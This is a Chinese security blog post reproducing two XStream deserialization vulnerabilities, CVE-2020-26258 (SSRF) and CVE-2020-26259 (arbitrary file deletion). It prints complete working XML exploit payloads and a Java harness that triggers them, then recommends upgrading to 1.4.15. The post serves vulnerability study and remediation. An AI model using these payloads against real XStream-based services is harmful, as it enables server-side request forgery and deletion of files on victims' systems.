XStream 反序列化漏洞复现(CVE-2020-26258/CVE-2020-26259)

  • A+
所属分类:安全文章
漏洞描述

XStream是一个常用的Java对象和XML相互转换的工具。近日,XStream官方发布了新版的XStream 1.4.15,并修复了两个CVE漏洞,分别是CVE-2020-26258和CVE-2020-26259。

CVE-2020-26258:XStream反序列化导致SSRF

CVE-2020-26259:XStream反序列化导致任意文件删除


漏洞编号

CVE-2020-26258/CVE-2020-26259


CVSS评分/漏洞等级

8.9/高危


漏洞影响范围

XStream <= 1.4.14


漏洞POC

CVE-2020-26258

<map>  <entry>    <jdk.nashorn.internal.objects.NativeString>      <flags>0</flags>      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>        <dataHandler>          <dataSource class='javax.activation.URLDataSource'>            <url>http://localhost:8080/internal/</url>          </dataSource>          <transferFlavors/>        </dataHandler>        <dataLen>0</dataLen>      </value>    </jdk.nashorn.internal.objects.NativeString>    <string>test</string>  </entry></map>


CVE-2020-26259

<map>  <entry>    <jdk.nashorn.internal.objects.NativeString>      <flags>0</flags>      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>        <dataHandler>          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>            <contentType>text/plain</contentType>            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>              <tempFile>/etc/hosts</tempFile>            </is>          </dataSource>          <transferFlavors/>        </dataHandler>        <dataLen>0</dataLen>      </value>    </jdk.nashorn.internal.objects.NativeString>    <string>test</string>  </entry></map>

漏洞复现

以CVE-2020-26258为例,使用IDE创建一个maven工程,在pom.xml中添加xstream依赖后重载。

<dependency>    <groupId>com.thoughtworks.xstream</groupId>    <artifactId>xstream</artifactId>    <version>1.4.14</version></dependency>

XStream 反序列化漏洞复现(CVE-2020-26258/CVE-2020-26259)


在main/java下新建一个java类文件,代码如下:

import com.thoughtworks.xstream.XStream;
import java.io.IOException;
public class CVE_2020_26258 { public static void main(String[] args) throws IOException { String payload = "<map>n" + " <entry>n" + " <jdk.nashorn.internal.objects.NativeString>n" + " <flags>0</flags>n" + " <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>n" + " <dataHandler>n" + " <dataSource class='javax.activation.URLDataSource'>n" + " <url>http://localhost:8080/internal/</url>n" + " </dataSource>n" + " <transferFlavors/>n" + " </dataHandler>n" + " <dataLen>0</dataLen>n" + " </value>n" + " </jdk.nashorn.internal.objects.NativeString>n" + " <string>test</string>n" + " </entry>n" + "</map>"; XStream xStream = new XStream(); xStream.fromXML(payload);
}}


XStream 反序列化漏洞复现(CVE-2020-26258/CVE-2020-26259)

XStream 反序列化漏洞复现(CVE-2020-26258/CVE-2020-26259)

类似,对于CVE-2020-26259,将payload更改一下即可,该漏洞是任意文件删除漏洞,故而,我先在D盘根目录创建要给test.txt文件,然后构造payload进行删除。

XStream 反序列化漏洞复现(CVE-2020-26258/CVE-2020-26259)

构造payload,在运行之后,成功删除了之前创建的test.txt。

XStream 反序列化漏洞复现(CVE-2020-26258/CVE-2020-26259)


修复建议

更新xstream版本。如果是maven管理的项目,直接修改pom.xml中的依赖,修改xstream版本为1.4.15即可,如何是其他方式的,请自行从官网下载使用。

地址:http://x-stream.github.io/download.html


本文始发于微信公众号(锋刃科技):XStream 反序列化漏洞复现(CVE-2020-26258/CVE-2020-26259)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: